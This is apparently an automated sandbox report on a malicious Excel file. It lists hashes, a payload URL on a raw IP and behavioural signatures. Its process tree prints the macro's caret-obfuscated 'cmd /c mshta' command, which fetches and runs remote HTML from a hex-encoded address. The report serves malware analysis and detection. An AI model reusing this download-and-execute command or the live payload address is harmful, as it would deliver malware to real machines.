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Analysis
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max time kernel
133s -
max time network
138s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
11/11/2024, 21:42
Behavioral task
behavioral1
Sample
b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578.xls
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578.xls
Resource
win10v2004-20241007-en
General
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Target
b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578.xls
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Size
101KB
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MD5
ad38d630d30a724ffd07fecb6abc0729
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SHA1
839315e93e4a7d41db86ad65da2c59fbe0f256da
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SHA256
b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578
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SHA512
7bb2f222d3a32a0c444f4921e09ff2f9e8e18c1b08c0578e98eb25aeb155f003392fa91ec6eeb00aafb5053055be59468cfbf143d5ad7a53b9ed530f276aeaa0
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SSDEEP
3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK
Malware Config
Extracted
http://185.7.214.7/fer/fe3.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1408 3928 cmd.exe 84 -
Blocklisted process makes network request 1 IoCs
flow pid Process 20 2140 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3928 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 3928 EXCEL.EXE 3928 EXCEL.EXE 3928 EXCEL.EXE 3928 EXCEL.EXE 3928 EXCEL.EXE 3928 EXCEL.EXE 3928 EXCEL.EXE 3928 EXCEL.EXE 3928 EXCEL.EXE 3928 EXCEL.EXE 3928 EXCEL.EXE 3928 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3928 wrote to memory of 1408 3928 EXCEL.EXE 87 PID 3928 wrote to memory of 1408 3928 EXCEL.EXE 87 PID 1408 wrote to memory of 2140 1408 cmd.exe 89 PID 1408 wrote to memory of 2140 1408 cmd.exe 89
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3928 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1408 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fe3.html3⤵
- Blocklisted process makes network request
PID:2140
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize3KB
MD506390db9ceddd14aeac407f3aac4921d
SHA14360a456ca438eca71e35daf12f7bb1871f262cd
SHA25694cfdd2569c8549b8717b619544a29ef10ff450282f7f5fafe2637769fb09bd5
SHA512c5f8c1cf2b333b45daf084f162c839a99d9463d1399e4782a35bbf308f59d9de481f26fb9312da2e5180a45b038fc03e895ca8c8b650ef604d405d18606edd40